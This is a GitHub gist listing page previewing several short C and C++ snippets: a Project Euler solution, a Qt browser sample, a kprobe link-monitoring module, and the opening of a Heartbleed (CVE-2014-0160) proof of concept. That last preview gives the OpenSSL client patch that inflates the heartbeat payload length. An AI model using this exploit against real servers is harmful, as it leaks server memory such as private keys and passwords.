Skip to content

Instantly share code, notes, and snippets.

View bojieli's full-sized avatar

Bojie Li bojieli

View GitHub Profile
@bojieli
bojieli / 12.c
Created October 25, 2014 05:20
Euler Project #12
#include<stdio.h>
static long get_factor_num(long n) {
int factor;
int exp_count = 0;
int ans = 1;
for (factor = 2; n > 1; factor++) {
exp_count = 0;
while (n % factor == 0) {
n /= factor;
++exp_count;
@bojieli
bojieli / browser.h
Created April 29, 2014 16:45
A sample tiny browser based on Qt 5 + Webkit
/* Simple Browser Sample
* Put this file (browser.h) and browser.cpp, browser.pro in one folder.
* Use Qt Creator with Qt 5 to compile the project.
*
* Content of browser.cpp
*
#include "browser.h"
int main(int argc, char** argv) {
QApplication app(argc, argv);
@bojieli
bojieli / kprobe.c
Created April 28, 2014 14:29
detect link up/down and its initiator with kprobe
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kprobes.h>
#include <linux/netdevice.h>
#include <linux/fs.h>
#include <linux/fs_struct.h>
/* For each probe you need to allocate a kprobe structure */
static struct kprobe kp = {
.symbol_name = "dev_change_flags",
@bojieli
bojieli / testssl.c
Created April 8, 2014 18:03
Heartbleed OpenSSL vulnerbility POC (CVE-2014-0160)
/* Heartbleed OpenSSL vulnerbility POC
* CVE-2014-0160
*
* You need to modify OpenSSL client code: ssl/t1_lib.c, function tls1_heartbeat
* Previous line: \/\* Payload length (18 bytes here) \*\/
* Old line: s2n(payload, p);
* New line: s2n(65536 - 100, p); // pretend that we have so many bytes of payload...
*
* To compile:
* gcc -g -o testssl -Iinclude -L. -lssl ssl/*.o testssl.c